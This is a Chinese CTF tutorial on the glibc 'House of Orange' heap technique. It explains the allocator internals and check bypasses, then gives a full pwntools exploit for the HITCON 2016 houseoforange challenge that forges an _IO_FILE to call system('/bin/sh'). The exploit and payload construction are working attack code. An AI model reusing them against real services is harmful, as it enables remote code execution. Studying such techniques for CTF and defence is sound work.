House of Orange
House of Orange的核心在于没有free函数的情况下获得一个释放的堆块(unsorted bin)
原理:
在当前堆的top chunk尺寸不足以满足申请分配的大小的时候,原本的top chunk会被释放并放入unsorted bin中
==》在没有free函数的情况下获取到unsorted bin
详细过程==》
程序中的malloc调用会执行到libc.so中的_int_malloc函数中==》
接下来依次检验fastbin ,small bin,unsorted bin,large bin是否满足分配要求==》都不满足
==》_int_malloc函数会试图使用top chunk ==》top chunk不满足==》
执行:
/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
==》ptmalloc已经不能满足用户申请堆内存的操作==》执行sysmalloc向系统申请个别更多的空间==》
==》对于堆有mmap和brk两种申请方式,需要使用brk的形式扩展==》使原有的top chunk置于unsorted bin中
绕过检查:
1、malloc的尺寸不能大于mmp_.mmap_threshold==》
if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
如果所需分配的chunk大小大于mmap分配阈值(默认128k),并且当前进程使用mmap()分配的内存块小于设定的最大值==》将使用mmap()系统调用直接向操作系统申请内存
2、sysmalloc中对top chunk size的检查:
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));
==》检查top chunk的合法性==》
如果第一次调用本函数==》top chunk可能没有初始化,old_size就会为0
==》
如果top chunk已经初始化了==》top chunk的大小必须大于等于MINSIZE,因为在top chunk中已经包含了fencepost==》top chunk必须标识前一个chunk处于inuse状态,并且top chunk的结束地址必定是页对齐的
==》top chunk除去fencepost的大小必定小于所需的chunk的大小,否则在_int_mallic函数中会使用top chunk分割出来的chunk
绕过检查总结:
===》
伪造top chunk size需求:
1、伪造的size必须对齐至内存页
2、size要大于MINSIZE(0x10)
3、size要小于之后申请的chunk size+MINSIZE(0x10)
4、size的prev inuse位必须为1
之后原有的top chunk就会执行_int_free从而顺利进入unsorted bin中
对齐内存页:
现代操作系统都是以内存页为单位进行内存管理==》
一般内存页大小为4kb==》伪造的size必须对齐这个尺寸
例:
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <== top chunk
0x602030: 0x0000000000000000 0x0000000000000000
==》0x602020+0x20fe1=0x623000对于0x1000(4kb)对齐
==》伪造的fake_size可以是0x00fe1,0x10fe1,0x40fe1等
demo:
#include <stdlib.h>
#define fake_size 0x1fe1
int main(void)
{
void *ptr;
ptr=malloc(0x10);
ptr=(void *)((long long)ptr+24);
*((long long*)ptr)=fake_size;
malloc(0x2000);
malloc(0x60);
}
申请一个0x10的chunk:
ptr定位至top chunk size
没修改前:
修改后:
修改top chunk size:
申请0x2000的chunk:
top chunk size不能满足0x2010的需求,被置入unsorted bin中,fd和bk都指向unsorted bin addr
再次申请0x60的chunk:
这次分配的内存由unsorted bin中切割
==》并且在这个0x71的chunk中还包含着unsorted bin的残余指针
==》
之后利用_IO_FILE
例题:
houseoforange_hitcon_2016
1、检查保护:
2、静态分析:
主函数:
创建函数:
修改功能:
动态调试及思路:
程序edit功能出现任意长度溢出
程序中没有free功能
==》
使用house of orange==>
修改top chunk的size==>
==》申请一个chunk:
add(0x30,'aaaa\n',0x1234,0xDDAA)
==》通过修改功能溢出实现篡改top chunk 的size域:(注意内存对齐)
payload='a'*0x30+p64(0)+p64(0x21)+p32(666)+p32(0xDDAA)+p64(0)*2+p64(0xf81)
edit(len(payload),payload,666,0xDDAA)
==》触发mmap,将old top chunk释放至unsorted:
add(0x1000,'b',0x1234,0xDDAA)
注意点:程序申请了两个0x20的chunk
===》将unsorted bin中的old top chunk申请一部分:
add(0x400,'a'*8,0x1234,0xDDAA)
==》泄漏地址:
show()
leak_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(leak_addr)
==》通过泄漏出的地址获得malloc_hook地址和libc基地址
malloc_hook=leak_addr-0x668-0x10
libcbase=malloc_hook-libc.sym['__malloc_hook']
==》获取切割old top chunk 的0x400的chunk的地址:
此时的堆栈情况:
==》修改IO_list_all指针来控制异常处理流程到指定的函数:
==》先覆盖至unsorted bin,将bin中的chunk的size修改为0x60
==>0x60原因:属于small bin范围
payload='a'*0x400+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)
payload+='/bin/sh\x00'+p64(0x61)
edit(len(payload), payload, 666, 2)
==》修改unsorted bin的bk指针为IO_list_all - 0x10:
payload+=p64(0)+p64(io_list_all-0x10)
edit(len(payload), payload, 666, 2)
==》绕过fp->_IO_write_ptr > fp->_IO_write_base
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
//当前的fp指针作为_IO_OVERFLOW的参数,执行函数
payload+=p64(0)+p64(1)
edit(len(payload), payload, 666, 2)
fp==》指向当前_IO_FILE_plus的结构体的指针==>binsh存放位置
构造:
fake_file = '/bin/sh\x00'+p64(0x61)#修改unsorted bin中的chunk size为0x60
fake_file += p64(0)+p64(io_list_all-0x10)#覆盖bk指针
fake_file += p64(0) + p64(1)#绕过检查
fake_file = fake_file.ljust(0xc0,'\x00')
==》这里的vtable指向我们能控制得内存地址即可,然后伪造一个vtable:
fake_file+=p64(heap_base+0x5f0)
fake_file += p64(0) * 3
#填充__dummy,dummy2,__finish
fake_file += p64(system)#覆盖__overflow
#fake_file+=p64(heap_base+0x5e8)
#当指向0x5e8时,该地址将被当作__dummy
fake_file+=p64(0)*2
#覆盖__dummy2,__finish
fake_file+=p64(system)#覆盖__overflow
总构造图解:
exp:
#coding=UTF-8
from pwn import *
#context(arch='amd64', os='linux', log_level='debug')
io=process('./houseoforange_hitcon_2016')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#io=remote('node4.buuoj.cn',25009)
#libc=ELF('./libc-2.23.so')
def add(size,content,price,color):
io.recvuntil("Your choice : ")
io.sendline('1')
io.recvuntil("Length of name :")
io.sendline(str(size))
io.recvuntil("Name :")
io.send(content)
io.recvuntil("Price of Orange:")
io.sendline(str(price))
io.recvuntil("Color of Orange:")
io.sendline(str(color))
def show():
io.recvuntil("Your choice : ")
io.sendline('2')
def edit(size,content,price,color):
io.recvuntil("Your choice : ")
io.sendline('3')
io.recvuntil("Length of name :")
io.sendline(str(size))
io.recvuntil("Name:")
io.send(content)
io.recvuntil("Price of Orange: ")
io.sendline(str(price))
io.recvuntil("Color of Orange: ")
io.sendline(str(color))
add(0x30,'aaaa\n',0x1234,0xDDAA)
payload='a'*0x30+p64(0)+p64(0x21)+p32(666)+p32(0xDDAA)+p64(0)*2+p64(0xf81)
edit(len(payload),payload,666,0xDDAA)
add(0x1000,'b\n',0x1234,0xDDAA)
add(0x400,'a'*8,199,2)
show()
io.recvuntil('a'*8)
leak_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
#print hex(leak_addr)
malloc_hook=leak_addr-0x668-0x10
libcbase=malloc_hook-libc.sym['__malloc_hook']
io_list_all=libcbase+libc.sym['_IO_list_all']
system=libcbase+libc.sym['system']
edit(0x10,'b'*0x10,199,2)
show()
io.recvuntil('b'*0x10)
#heap_addr=u64(io.recv(6).ljust(8,'\x00'))
heap_addr=u64(io.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base=heap_addr-0xe0
#print hex(heap_addr)
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#修改unsorted bin中的chunk size为0x60
fake_file += p64(0)+p64(io_list_all-0x10)#覆盖bk指针
fake_file += p64(0) + p64(1)#绕过检查
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5f0) #vtable指针
fake_file += p64(0) * 3
fake_file += p64(system)#覆盖__OVERFLOW
payload += fake_file
edit(len(payload), payload, 666, 2)
io.recvuntil("Your choice : ")
io.sendline('1')
#gdb.attach(io)
io.interactive()
本地运行:
远程: